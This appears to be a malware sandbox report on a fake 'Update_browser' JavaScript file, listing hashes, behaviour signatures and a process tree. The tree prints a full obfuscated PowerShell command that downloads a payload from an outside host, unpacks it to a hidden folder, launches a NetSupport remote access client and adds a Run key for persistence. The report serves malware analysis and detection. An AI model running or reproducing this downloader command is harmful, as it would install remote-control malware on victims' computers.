Overview
overview
10Static
static
1Update -520240216.zip
windows7-x64
1Update -520240216.zip
windows10-2004-x64
1Install/Up...163.js
windows7-x64
8Install/Up...163.js
windows10-2004-x64
10Install/Up...164.js
windows7-x64
8Install/Up...164.js
windows10-2004-x64
10Install/Up...165.js
windows7-x64
8Install/Up...165.js
windows10-2004-x64
10Install/Up...166.js
windows7-x64
8Install/Up...166.js
windows10-2004-x64
10Install/Up...167.js
windows7-x64
8Install/Up...167.js
windows10-2004-x64
10Update_bro...616.js
windows7-x64
8Update_bro...616.js
windows10-2004-x64
10Analysis
-
max time kernel
93s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
16-02-2024 16:32
Static task
static1
Behavioral task
behavioral1
Sample
Update -520240216.zip
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
Update -520240216.zip
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
Install/Update_browser_121.0.6163.js
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
Install/Update_browser_121.0.6163.js
Resource
win10v2004-20231222-en
Behavioral task
behavioral5
Sample
Install/Update_browser_121.0.6164.js
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
Install/Update_browser_121.0.6164.js
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
Install/Update_browser_121.0.6165.js
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
Install/Update_browser_121.0.6165.js
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
Install/Update_browser_121.0.6166.js
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
Install/Update_browser_121.0.6166.js
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
Install/Update_browser_121.0.6167.js
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
Install/Update_browser_121.0.6167.js
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
Update_browser_121.0.616.js
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
Update_browser_121.0.616.js
Resource
win10v2004-20231222-en
General
-
Target
Install/Update_browser_121.0.6166.js
-
Size
1.3MB
-
MD5
4877fc7cdee26e86dff3a3964ddbd156
-
SHA1
58aa4af372b60958a608006e69f356c17273fa52
-
SHA256
69593610bb4221e42aef8b4f84c42f8b7056778b8e8b9d527d0c1408624653d8
-
SHA512
131b03d03efa2b10c8cd4b48685c9623fcb05962402be54b180c317651401bf18261256fa74436ed6444bac740b528cb3b3ec44fa39a1663d62314bda42f6538
-
SSDEEP
12288:pqkdj8gY4HQJ2Oyqkdj8gY4HQJ2Oyqkdj8gY4HQJ2Ok:0kdBpQFVkdBpQFVkdBpQFk
Malware Config
Extracted
https://grantallardserver.com/data.php?9086
https://grantallardserver.com/data.php?9086
Signatures
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Blocklisted process makes network request 2 IoCs
Processes:
wscript.exepowershell.exeflow pid process 5 3048 wscript.exe 18 212 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation wscript.exe -
Executes dropped EXE 1 IoCs
Processes:
client32.exepid process 3208 client32.exe -
Loads dropped DLL 6 IoCs
Processes:
client32.exepid process 3208 client32.exe 3208 client32.exe 3208 client32.exe 3208 client32.exe 3208 client32.exe 3208 client32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX132\\client32.exe" powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 5 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 212 powershell.exe 212 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.execlient32.exedescription pid process Token: SeDebugPrivilege 212 powershell.exe Token: SeSecurityPrivilege 3208 client32.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
client32.exepid process 3208 client32.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
wscript.exepowershell.exedescription pid process target process PID 3048 wrote to memory of 212 3048 wscript.exe powershell.exe PID 3048 wrote to memory of 212 3048 wscript.exe powershell.exe PID 212 wrote to memory of 3208 212 powershell.exe client32.exe PID 212 wrote to memory of 3208 212 powershell.exe client32.exe PID 212 wrote to memory of 3208 212 powershell.exe client32.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Install\Update_browser_121.0.6166.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3048 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $DoIvLlkEWrvD='https://grantallardserver.com/data.php?9086';$YeMfMyFRZAIVEFKvjyR=(New-Object System.Net.WebClient).DownloadString($DoIvLlkEWrvD);$cNpGlsEwNAoWqcmAnJiHADHjwEcT=[System.Convert]::FromBase64String($YeMfMyFRZAIVEFKvjyR);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $lOqLETTdTLUtojBPThr=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $lOqLETTdTLUtojBPThr -PathType Container)) { New-Item -Path $lOqLETTdTLUtojBPThr -ItemType Directory };$p=Join-Path $lOqLETTdTLUtojBPThr 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$cNpGlsEwNAoWqcmAnJiHADHjwEcT);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$lOqLETTdTLUtojBPThr)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $lOqLETTdTLUtojBPThr 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $lOqLETTdTLUtojBPThr -Force; $FSDFSSD.attributes='Hidden';$s=$lOqLETTdTLUtojBPThr+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:212 -
C:\Users\Admin\AppData\Roaming\DIVX132\client32.exe"C:\Users\Admin\AppData\Roaming\DIVX132\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3208
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
320KB
MD5c94005d2dcd2a54e40510344e0bb9435
SHA155b4a1620c5d0113811242c20bd9870a1e31d542
SHA2563c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA5122e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a
-
Filesize
258B
MD51b41e64c60ca9dfadeb063cd822ab089
SHA1abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4
-
Filesize
18KB
MD5104b30fef04433a2d2fd1d5f99f179fe
SHA1ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA5125efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f
-
Filesize
2.2MB
MD57c4946c0985bcf699a3d330aa5b5058f
SHA11b70cf26b3c88281d4a0a1d86c1cb24d90a73033
SHA25609bbd2f48f48720825cfcae76d26ef569b452e261598743ec619c8db98c8d518
SHA512efdcc993f5aab4ff1f09754c7cf4d36da3ba4d05b9da50f857fbc13649667a8c2b161a8a85eb2e1c46ced00283b5e65c09f359bd90bf25978769a2a989038ba6
-
Filesize
2.9MB
MD54ebc76b3cc1a5e8f5b81be171f86c589
SHA1aac5ed887d6cf741921355b354e608e99d8efc26
SHA256e42383b136d0d21a1b1af48e307a57760ff396ca3dc0ee86e30538f6b305a961
SHA5126e345fe16aefa4f61ac5a2df009864372c2625f61c2e9c89d9400a43fa5a360a24b67373a8dd3f23c18fa81eae8e8ae5f1967b40453f53f3e1928a687ee8a4d8
-
Filesize
101KB
MD5c4f1b50e3111d29774f7525039ff7086
SHA157539c95cba0986ec8df0fcdea433e7c71b724c6
SHA25618df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5
-
Filesize
701B
MD598043670d8c850e878e333312fcfa25a
SHA1dc795e8b906d70ee5854a6797e0c1557375bc443
SHA2560e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc
SHA51213295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201
-
Filesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
-
Filesize
32KB
MD534dfb87e4200d852d1fb45dc48f93cfc
SHA135b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA2562d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2